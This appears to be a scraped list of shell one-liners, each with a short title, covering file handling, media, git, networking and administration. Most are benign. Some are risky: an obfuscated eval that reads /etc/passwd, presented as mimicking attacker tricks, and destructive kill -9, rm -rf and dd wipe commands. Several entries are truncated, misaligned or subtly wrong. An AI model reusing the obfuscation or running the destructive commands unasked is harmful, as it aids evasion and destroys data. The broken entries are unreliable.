sed '/INSERT INTO `unwanted_table`/d' mydb.sql > reduced.sql
find and remove old backup files
find /home/ -name bk_all_dbProdSlave_\* -mtime +2 -exec rm -f {} \;
Report information about executable launched on system
aureport -x
Copy 3 files from 3 different servers and adds server name tag to file copied
for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done
Ripping VCD in Linux
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
ssh batch jobs: query hundreds of hosts with an ssh command
ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file
Show a script or config file without comments or blank lines
egrep -v "^$|^#" file
find unreadable file
sudo -u apache find . -not -perm /o+r
Create md5sum of a directory
find -name .git -prune -o -type f -exec md5sum {} \; | sort -k2 | md5sum
Calculate days on which Friday the 13th occurs
for i in {2018..2022}-{01..12}-13; do date --date $i +"%Y %B %w" | sed '/[^5]$/d; s/ 5*$//'; done
Generate a certificate signing request (CSR) for an existing private key. CSR.csr MUST be exists before
openssl req -out CSR.csr -key privateKey.key -new
find and remove old compressed backup files
find /home -type f \( -name "*.sql.gz" -o -name "*.tar.gz" -mtime +10 \) -exec rm -rf {} \;
pushd rotates the stack so that the second directory comes at the top.
pushd +2; pushd -2
Use curl to save an MP3 stream
curl -sS -o $outfile -m $showlengthinseconds $streamurl
Colorize svn stat
svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.(ogg|mp3)' | sort > ~/mylist.m3u
Terrorist threat level text
echo "Terrorist threat level: $(wget -q -O - http://is.gd/wacQtQ | tail -n 1 | awk -F\" '{ print $2 }')"
How To Get the Apache Document Root
awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}')
Write and read HDD external
ntfs-3g /dev/da0s1 /mnt
mysql bin log events per minute
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | cut -d' ' -f2- | cut -d: -f-2 | uniq -c
Get all available packages on Ubuntu (or any distro that uses apt)
sudo apt-cache dumpavail | grep Package | cut -d ' ' -f 2 > available.packages
List all symbolic links in a directory matching a string
find directory -type l -lname string
List all symbolic links in current directory
ls -la | grep ^l
Human readable directory sizes for current directory, sorted descending
du -hsx * | sort -rh
Watch active calls on an Asterisk PBX
watch "asterisk -vvvvvrx 'core show channels verbose'"
route add default gateway
ip route add default via 192.168.2.1 dev ens33
Open browser from terminal to create PR after pushing something in Git in MAC
git remote -v |grep origin|tail -1|awk '{print $2}'|cut -d"@" -f2|sed 's/:/\//g'|xargs -I {} open -a "Google Chrome" https://{}
Show all mergeinfo for a svn subtree
find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n $mergeinfo\n" ; done
Testing ftp server status
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
Search and play MP3 from Skreemr
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }
Set the hardware date and time based on the system date
hwclock --systohc -utc
Generate hash( of some types) from string
openssl dgst -sha256 <<<"test"
Single words from Amazon Kindle 3 notes
awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/d' | sed -e '/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_words.txt - | uniq
Prettify an XML file
xmllint --format --xmlout --nsclean <file>
shell bash iterate number range with for loop
rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers<=rangeEnd; numbers++)); do echo $numbers; done
cloning partition tables under Solaris
prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2
Simple word scramble
shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out
Create and play an instant keyword based playlist
find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; &
Join flv files
mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.flv clip3.flv
Given process ID print its environment variables
cat /proc/PID/environ | tr '\0' '\n'
Automatically rename tmux window using the current working directory
f(){ if [ "$PWD" != "$LPWD" ];then LPWD="$PWD"; tmux rename-window ${PWD//*\//}; fi }; export PROMPT_COMMAND=f;
Give webpage status code
e() { echo $(curl -o /dev/null --silent --head --write-out '%{http_code}\n' $1); }
SSH to a machine's internet address if it is not present on your local network
ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip
Beep siren
tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|bc -l|tr -d '-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done
Countdown Clock
function countdown { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; }
Throttle download speed (at speed x )
aria2c --max-download-limit=100K file.metalink
Get the full path of a bash script's Git repository head.
$(cd "$(dirname "${BASH_SOURCE[0]}")" && git rev-parse --show-toplevel)
Follow a new friend on twitter
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
Multi line grep using sed and specifying open/close tags
sed '/'"<opening tag>"'/,/'"<closing tag>"'/{/'"<closing tag>"'/d;p};d' "<file>"
use wget to check if a remote file exists
wget -O/dev/null -q URLtoCheck && echo exists || echo not exist
Given process ID print its environment variables
ps ewwo command PID | tr ' ' '\n' | grep \=
shows history of logins on the server
last -aiF | head
Get a list of Mageia Linux mirrors providing rsync connectivity for Mageia 4 release
url=http://mirrors.mageia.org/api/mageia.4.i586.list; wget -q ${url} -O - | grep rsync:
add lyrics
eyeD3 --lyrics=eng:these_lyrics:"$(cat lyrics_file.txt)" some_file.mp3
Rotate a video file by 90 degrees CW
mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi
Copies currently played song in Audacious to selected directory
function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; }
sshfs usage
sshfs /root/Desktop/mountdirectory root@remotehost:/etc/
Recursively search and replace old with new string, inside every instance of filename.ext
find . -type f -name filename.exe -exec sed -i "s/oldstring/oldstring/g" {} +;
power off system in X hours form the current time, here X=2
echo init 0 | at now + 2 hours
SED - Substitute string in next line
sed -i.backup '/patter/{n;s/foo/bar/g}' file
create random string from /dev/urandom (or another length)
echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64`
Rename all images in current directory to filename based on year, month, day and time based on exif information
exiftool -d %Y-%m-%d_%H.%M.%S%%-c.%%e "-filename<CreateDate" .
Get your external IP address ( 10 characters long )
curl ip.nu
Change the homepage of Firefox
set str=user_pref("browser.startup.homepage", "http://www.fcisolutions.com/"); cd = "%APPDATA%\Mozilla\Firefox\Profiles\*.default\" echo %str%>>prefs.js
Colorizes an access log
function colorize() { c="--line-buffered --color=yes"; GREP_COLORS="mt=01;34" egrep $c '(^| 200 | 304 )' "${@}" | GREP_COLORS="mt=02;31" egrep $c '(^|"(GET|POST) .*[^0-9] 4[0-1][0-9] )' | GREP_COLORS="ms=02;37" egrep $c '(^|^[0-9\.]+) ';}
Backup with versioning
& 'C:\cwRsync_5.5.0_x86_Free\bin\rsync.exe' --force --ignore-errors --no-perms --chmod=ugo=rwX --checksum --delete --backup --backup-dir="_EVAC/$(Get-Date -Format "yyyy-MM-dd-HH-mm-ss")" --whole-file -a -v "//MyServer/MyFolder" "/cygdrive/c/Backup"
finding cr-lf files aka dos files with ^M characters
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
Stripping ^M at end of each line for files
perl -pi -e 's:^V^M::g' <filenames>
Change permissions of every directory in current directory
find . -type d -exec chmod 755 {} \;
Number of commits per day in a git repository
git log | grep Date | awk '{print " : "$4" "$3" "$6}' | uniq -c
remove repeated pairs of characters e.g. "xtxtxtxt" will become "xt"
sed -ru 's/(..)\1{2,}/\1/g'
List top 100 djs from https://djmag.com/top100djs
lynx -listonly -nonumbers -dump https://djmag.com/top100djs|sed '1d'|cut -d- -f5,6,7|sed -n '180,$p'|nl --number-format=rn --number-width=3|sed 's/-/ /g'|sed -e 's/.*/\L&/' -e 's/\<./\u&/g'
Dump all available man pages in a particular section
find $(man --path | tr ':' ' ') -type f -path '*man2*' -exec basename {} \; | sed 's/\..*//' | sort
Run command in an ftp session
ftp>!w
find all open files by named process
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
Remind yourself every 15 minutes (repeated reminders)
watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'"
Undo mkdir -p new/directory/path
rmdir -p new/directory/path
Use color grep by default
alias grep 'gnu grep -i --color=auto'
Download and install the newest dropbox beta
wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build"|cut -d"\"" -f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\"" -f2|sort -r|head -n1) && rm -rf ~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-*.tar.gz -C ~/
prints the parameter you used on the previous command
make computer speaking to you :)
tail -f /var/log/messages | espeak
monitor the last command run
watch !!
Go to the Nth line of file [text editor]
vi +4 /etc/mtab
Set name of windows in tmux/byobu to hostnames of servers you're connected to
for i in $(tmux list-windows -F '#{window_index}'); do panenames=$(tmux list-panes -t $i -F '#{pane_title}' | sed -e 's/:.*$//' -e 's/^.*@//' | uniq); windowname=$(echo ${panenames} | sed -e 's/ /|/g'); tmux rename-window -t $i $windowname; done
Sysadmin day date of any given year
YEAR=2015; echo Jul $(ncal 7 $YEAR | awk '/^Fr/{print $NF}')
Search for a line of text in a directory of files recursively (while limiting to certain file extensions)
egrep -ir --include=*.{php,html,css} "(first|second)" .
Record a certain command output
script -c "ls -la" logfile.log
Use acpi and notify-send to report current temperature every five minutes.
while notify-send "`acpi -t`"; do sleep 300; done
Record and share your terminal
shelr play http://shelr.tv/records/4f81e92296608034e3000001.json
show git logging
git log --stat
Startup a VPN connection through command line
sudo nmcli con up/down id vpn-name
Adjust display hardware brightness [dbus way]
dbus-send --session --print-reply --dest="org.gnome.SettingsDaemon" /org/gnome/SettingsDaemon/Power org.gnome.SettingsDaemon.Power.Screen.SetPercentage uint32:30
Show all LISTENing and open server connections, with port number and process name/pid
netstat -tulpn
List all NPM global packages installed
npm ls -g|grep "^[├└]\(.\+\)\?[┬─] "
Monitor system load and print out top offending processes
while sleep 1; do if [ $(echo "$(cat /proc/loadavg | cut -d' ' -f1) > .8 " | bc) -gt 0 ]; then echo -e "\n\a"$(date)" \e[5m"$(cat /proc/loadavg)"\e[0m"; ps aux --sort=-%cpu|head -n 5; fi; done
Using a single sudo to run multiple && arguments
sudo sh -c 'apt update -y && apt upgrade -y'
delete multiple files with spaces in filenames (with confirmation)
ls -Q * | xargs -p rm
A nice way to show git commit history, with easy to read revision numbers instead of the default hash
git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
sudo for launching gui apps in background
gksudo gedit /etc/passwd &
clear MyDNS-ng cache
kill -SIGHUP `cat /var/run/mydns.pid`
Force unmount occupied partition
fuser -km /media/sdb1
remove recursively all txt files with number of lines less than 10
find . -type f -name "*.txt" | while read; do (($(cat $THISFILE | wc -l) < 10)) && rm -vf "$THISFILE"; done
Filter out all blank or commented (starting with #) lines
egrep -v "(^#|^\b*$)"
Periodic Display of Fan Speed with Change Highlights
watch -n 10 -d eval "sensors | grep RPM | sed -e 's/.*: *//;s/ RPM.*//'"
Making scripts runs on backgourd and logging output
nohup bash example.sh 2>&1 | tee -i i-like-log-files.log &
Preserve user variables when running commands with sudo.
sudo -E rpm -Uvh "http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm"
Ergo browsing 'pacman' queries (Arch)
pacman -Ss python | paste - - | grep --color=always -e '/python' | less -R
View dmesg output in human readable format
dmesg -T
List packages manually installed with process currently running
ps -eo cmd | awk '{print $1}'| sort -u | grep "^/" | xargs dpkg -S 2>/dev/null | awk -F: '{print $1}' | sort -u | xargs apt-mark showmanual
Recall last argument of previous command
cd !$
Monitor a file's size
watch -n 60 du /var/log/messages
a find and replace within text-based files
find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
read unixtimestamp with festival
say='festival --tts'; S=$(date +%s); echo $(echo $S | cut -b 1-1)" billion" | $say ; echo $(echo $S | cut -b 2-4 | sed 's/0*//')" million"| $say; echo $(echo $S | cut -b 5-7 | sed 's/0*//')" thousand"| $say
Kill a process by its partial name (BSD/Mac)
killall -r 'Activ'
Display standard information about device
sudo ethtool -i eth0
Fix for error perl: warning: Setting locale failed.
sudo locale-gen en_GB.UTF-8 && sudo locale-gen --purge && sudo dpkg-reconfigure locales
List the size (in human readable form) of all sub folders from the current location
du -h -d1
Remove all cached images for icons related to your profile
DEL /F /S /Q /A %LocalAppData%\Microsoft\Windows\Explorer\thumbcache_*.db
Execute a command with the last parameter of a previous command
ls !$
Simple Gumblar check command
find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep "Exception\|LGPL\|CODE1"
Download all PDFs from an authenificated website
wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/***/download/
show ALL iptable rules
for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $i ; done
'micro' ps aux (by mem/cpu)
ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0"
Hardlink all identical files in the current directory (regain some disk space)
hardlink -vpot .
draw rhomb
a=$(b=$(($LINES/2));f() { for c in $(seq $b); do for i in $(seq $c);do echo x;done|xargs echo;done };paste <(f) <(f|tac|tr 'x' '-') <(f|tac|tr 'x' '-') <(f)|tr '\t' ' ');(cat <<<"$a"|tac;cat <<<"$a")|tr '-' ' '
listen to an offensive fortune
fortune -o | espeak
Using numsum to sum a column of numbers.
echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) ))
encode a text to url_encoded format
perl -MURI::Escape -e 'print uri_escape("String encoded to a url");'
LIst svn commits by user for a date range
for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn log -v -$i;done
Check if the files in current directory has the RPATH variable defined
for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i; done
git log with color and path
alias gitlog='git log -10 --graph --date-order -C -M --pretty=format:"%C(yellow)%h%C(reset) - %C(bold green)%ad%C(reset) - %C(dim yellow)%an%C(reset) %C(bold red)>%C(reset) %C(white)%s%C(reset) %C(bold red)%d%C(reset) " --abbrev-commit --date=short'
A random password generator
pwgen -CsyN 1 16
processes per user counter
ps hax -o user --sort user | uniq -c
Find the package that installed a command
whatinstalled () { local cmdpath=$(realpath -eP $(which -a $1 | grep -E "^/" | tail -n 1) 2>/dev/null) && [ -x "$cmdpath" ] && dpkg -S $cmdpath 2>/dev/null | grep -E ": $cmdpath\$" | cut -d ":" -f 1; }
Iterate through current directory + all subs for C++ header files and rank by !!! Example "of comments
find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1}' | sort -gr
Reset hosed terminal,
stty sane ^J
List last opened tabs in firefox browser
grep -Eo '"entries":\[{"url":"[^"]*"' "$HOME/.mozilla/firefox/*.default/sessionstore.js" | sed 's/^.*:"//; s/"$//'
FInd the 10 biggest files taking up disk space
find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -f 2 | xargs -n 1 du -h
Print a file to a LPD server
rlpr -h -Plp -HIP_LPD_SERVER_HERE file.ps
Change active bond slave
/sbin/ifenslave -c bond0 eth1
tar the current directory wihtout the absolute path
ORIGDIR=${PWD##*/}; PARENT=`dirname $PWD`; tar -C $PARENT -cf ../${ORIGDIR}.tar $ORIGDIR
Run a command if file/directory changes
runonchange () { local cmd=( "$@" ) ; while inotifywait --exclude '.*\.swp' -qqre close_write,move,create,delete $1 ; do "${cmd[@]:1}" ; done ; }
List the URLs of tabs of the frontmost Chrome window in OS X
osascript -e{'set text item delimiters to linefeed','tell app"google chrome"to url of tabs of window 1 as text'}
Remove all the characters before last space per line including it
echo 'The quick brown fox jumps over the lazy dog' | sed 's|.* ||'
Run 10 curl commands in parallel via xargs (v2, faster then v1)
xargs -I% -P10 curl -sL "https://iconfig.co" < <(printf '%s\n' {1..10})
send substituted text to a command without echo, pipe
nc localhost 10000 <<< "message"
Remove empty directories
rmdir **/*(/^F)
Shell function to create a directory named with the current date, in the format YYYYMMDD.
dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
Delete all empty/blank lines from text file & output to file
sed '/^$/d' /tmp/data.txt > /tmp/output.txt
Quickly re-execute a recent command in bash
!<command>
Regnerate Exif thumbnail.
jhead -rgt file-name.jpg
BIGGEST Files in a Directory
find . -printf '%.5m %10M %#9u %-9g %TY-%Tm-%Td+%Tr [%Y] %s %p\n'|sort -nrk8|head
find all file larger than 500M
find . -type f -size +500M -exec du {} \; | sort -n
Generate random valid mac addresses
python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x for x in imap(lambda x:randint(0,255), range(6))])"
Make changes in any profile available immediately/Change to default group
newgrp -
Display the human-readable sizes of all files and folders in the current directory with 3 decimal places
du -Lsbc * |awk 'function hr(bytes){hum[1024**4]="TiB";hum[1024**3]="GiB";hum[1024**2]="MiB";hum[1024]="kiB";for(x=1024**4;x>=1024;x/=1024){if(bytes>=x){return sprintf("%8.3f %s",bytes/x,hum[x]);}}return sprintf("%4d B",bytes);}{print hr($1) "\t" $2}'
Find the right intel-ucode firmware for Intel GPU
iucode_tool -S -l /lib/firmware/intel-ucode/*
Securely destroy data on given device
for i in $(seq 1 25); do dd if=/dev/urandom of=
Encode png's into blu-ray format
ffmpeg -r 24 -i %04d.png -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264 -vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4
Obtain last stock quote from google API with xmlstarlet
xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?stock=GOOG
Create a continuous digital clock in Linux terminal
while [ 1 ] ; do echo -en "$(date +%T)\r" ; sleep 1; done
Take screenshots with imagemagick
import -quality 90 screenshot.png
Loop over the days of a month, in \(YYYY\)MM$DD format
YYYY=2014; MM=02; for d in $(cal -h $MM $YYYY | grep "^ *[0-9]"); do DD=$(printf "%02d" $d); echo $YYYY$MM$DD; done
return the latest kernel version from a Satellite / Spacewalk server software channel
spacecmd --server server softwarechannel_listlatestpackages softwarechannel.name | grep ^kernel-[[:digit:]]
diff directories, quick cut and paste to view the changes
diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'
list file descriptors opened by a process
ls -al /proc/<PID>/fd
Kill all processes that don't belong to root/force logoff
for i in $(pgrep -v -u root);do kill -9 $i;done
Tweet from Terminal to twitter !
curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml
List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -iname "*admin*" -executable -type f
Create an easy to pronounce shortened URL from CLI
shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*href=\"\([^\"]*\)\".*/\1/p" ;}
FInd the 10 biggest files taking up disk space
find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2
Anti Syn Ddos
echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -p tcp ?syn -m limit -j ACCEPT
Fix subtitle timing (for .sub files)
sed -e 's/{/|/' -e 's/}{/|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS = "|"} { $2 = $2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/{/' -e 's/\([0-9]\)|\([0-9]\)/\1}{\2/' -e 's/|/}/' >
Creates a 'path' command that always prints the full path to any file
alias path="/usr/bin/perl -e 'use Cwd; foreach my \$file (@ARGV) {print Cwd::abs_path(\$file) .\"\n\" if(-e \$file);}'"
Remove spaces from filenames - through a whole directory tree.
find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
Check whether laptop is running on battery or cable
cat /sys/class/power_supply/AC/online
Find files with lines that do not match a pattern
fmiss() { grep -RL "$*" * }
Copy via tar pipe while preserving file permissions (run this command as root!)
tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
show how many regex you use in your vim today
cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
Pause and Resume Processes
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\.//' |sort -f |uniq -i
Find files of two different extensions and copy them to a directory
find * -regextype posix-extended -regex '.*\.(ext_1|ext_2)' -exec cp {} copy_target_directory \;
Add date stamp to filenames of photos by Sony Xperia camera app
(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSC_* MOV_*; do mv -v $i "$(date +%F -d @$(stat -c '%Y' $i)) $i"; done)
look for a function reference in a library set
nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'
FInd the 10 biggest files taking up disk space
find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h 2>/dev/null
Show all listening and established ports TCP and UDP together with the PID of the associated process
netstat -plantu
Crop video starting at 00:05:00 with duration of 20 mins
ffmpeg -acodec copy -vcodec copy -ss 00:05:00 -t 00:20:00 -i file.mp4 file_cropped.mp4
cpuinfo
cat /proc/cpuinfo
Copy a file from a remote server to your local box using on-the-fly compression
rsync -Pz user@remotehost:/path/file.dat .
Edit a script that's somewhere in your path.
vim `which <scriptname>`
Create more threads with less stack space
ulimit -s 64
Enter a command but keep it out of the history
<space> secret -p password
Update file with patch
patch originalfile -i my.patch -o newfile; mv newfile originalfile
list current ssh clients
netstat -tn | awk '($4 ~ /:22\s*/) && ($6 ~ /^EST/) {print substr($5, 0, index($5,":"))}'
Remove spaces from filenames - through a whole directory tree.
zmv -Q '(**/)* *(.)' '$f:gs/ /_'
Diff two directories by finding and comparing the md5 checksums of their contents.
diff <(sort <(md5deep -r /directory/1/) |cut -f1 -d' ') <(sort <(md5deep -r /directory/2/) |cut -f1 -d' ')
open manpage and search for a string
man foobar | less +/searched_string
print the name of each package APT knows [matching a prefix]
apt-cache pkgnames linux-
Change size of lots of image files.
for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done
find out how much space are occuipied by files smaller than 1024K
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc
Press a key automatically
while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
shell function to underline a given string.
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }
MySQL: Slice out a specific table from the output of mysqldump
sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
reverse order of file
awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }'
Find files with size over 100MB and output with better lay-out
find . -type f -size +100M
recursively change file name from uppercase to lowercase (or viceversa)
zmv -Q '(**/)(*)(.)' '$1${(L)2}'
Sync the existing directory structure to destination, without transferring any files
rsync -av -f"+ */" -f"- *" [source] [dest]
RELINK a lot of broken symlinks - FIX broken symlinks after rsync site to new server
find /PATHNAME -type l | while read nullsymlink ; do wrongpath=$(readlink "$nullsymlink") ; right=$(echo "$wrongpath" | sed s'|OLD_STRING|NEW_STRING|') ; ln -fs "$right" "$nullsymlink" ; done
a function to create a box of '=' characters around a given string.
box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
turn off auto hard disc boot scanning for ext3
tune2fs -c -1 -i 0 /dev/VG0/data
Read info(1) pages using 'less' instead of GNU Texinfo
info gpg |less
Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/ -//'
Watch the progress of 'dd'
kill -SIGUSR1 xxxx
Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'the_password' | md5sum -
Convert & rename all filenames to lower case
convmv --lower --notest FILE
Get me yesterday's date, even if today is 1-Mar-2008 and yesterday was 29-Feb-2008
TZ=XYZ24 date
Rips CDs (Playstation, etc.) and names the files the same as the volume name
cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
Find artist and title of a music cd, UPC code given (first result only)
curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/^<div>.*>\(.*\)<\/a><\/div>/\1/p}'
Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -b-32
simple du command to give size of next level of subfolder in MB
du --max-depth=1 -B M |sort -rn
awk date convert
awk '{cmd="date --date=\""$1"\" +\"%Y/%m/%d %H:%M:%S\" "; cmd | getline convdate; print cmd";"convdate }' file.txt
Tunnel ssh through Socks Proxy
ssh -o ProxyCommand='nc -x ProxyHost:8080 %h %p' TargetHost
List files size sorted and print total size in a human readable format without sort, awk and other commands.
ls -sSh /path | head
Downmix first audio stream from 7.1 to 5.1 keeping all other streams
ffmpeg -i in.mkv -map 0 -c copy -c:a:0 aac -ac:a:0 6 out.mkv
power off system in X minutes
shutdown -h 60
Stat each file in a directory
find -name `egrep -s '.' * | awk -F":" '{print $1}' | sort -u` -exec stat {} \;
Periodically run a command without hangups, and send the output to your e-mail
nohup bash -c "while true; do ps -x | mail $USER ; sleep 3600; done" | mail $USER &
Marks all manually installed deb packages as automatically installed.
apt-mark showmanual|xargs sudo apt-mark markauto
delete at start of each line until character
grep -Po '^(.*?:\K)?.*'
checks size of directory & delete it if its to small
for i in *; do test -d "$i" && ( rclone size "$i" --json -L 2> /dev/null | jq --arg path "$i" 'if .bytes < 57462360 then ( { p: $path , b: .bytes}) else "none" end' | grep -v none | jq -r '.p' | parallel -j3 rclone purge "{}" -v -P ); done
Creates a SSHFS volume on MacOS X (better used as an alias). Needs FuseFS and SSHFS (obvioulsly).
mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk -oreconnect,volname=SSHDisk
generate random password
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q
command! -nargs=1 Vs vs <args>
Create aliases for common vim minibuffer/cmd typos
create random numbers within range for conjob usage
H=$(until ([ $i -le 6 -a $i -gt 0 -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c8-10); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo $i) ; echo $M $H \* \* \* backup-rsync-push.sh
Do the last command, but say 'y' to everything
yes | !!
Diff two directories by finding and comparing the md5 checksums of their contents.
diff <(sort <(md5deep -b -r /directory/1/) ) <(sort <(md5deep -b -r /directory/2/)
list human readable files
file *|grep 'ASCII text'|sort -rk2
Offcloud - add a link as remote download
curl 'https://offcloud.com/api/remote?key=XXXXXX' \ -H 'accept: application/json' \ -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "url=$MYLINK&remoteOptionId=XXXXX"
Read /etc/passwd with printf in a smarter and shorter way then some deliberately obfuscated shell commands from unethicals.
eval "$(E3LFbgu='CAT /ETC/PASSWD';printf %s "${E3LFbgu~~}")"
Create a backup of the file.
cp path/filename{,-$(date +%Y-%m-%d)}
Syntax Highlight your Perl code
perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my $fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl
Take a screenshot every 2 seconds
i=0;while :; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done;
wc in perl
perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt
Resume scp of a big file
rsync -a -v --stats -e ssh /home root@<newserver>:/root/
Clear cassandra snapshots that are older than 30 days
find /var/lib/cassandra/data -depth -type d -iwholename "*/snapshots/*" -mtime +30 -print0 | xargs -0 rm -rf
Wordwrap long text string using "n"
fold -sw 20 <(echo "Long Text to be wrapped with \"\n\"") |sed ':a;N;$!ba;s/ *\n/\\n/g'
Realtime lines per second in a log file, with history
tail -f access.log | pv -l -i10 -r -f 2>&1 >/dev/null | tr /\\r \ \\n
premiumize - create a ddl & save the URL in variable MYLINK
MYLINK=$(curl 'https://www.premiumize.me/api/transfer/directdl?apikey=XXXXXXX' \ -H 'accept: application/json' \ -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'src='$URL | jq -r '.content[] | .link' )
This command will help you to hunt the current mysql query statement in real time. (-R is deprecated, using updated -Y)
tshark -s 512 -i eno1 -n -f'tcp dst port 3306' -Y'<mysql.query>' -T fields -e <mysql.query>
kill all foo process
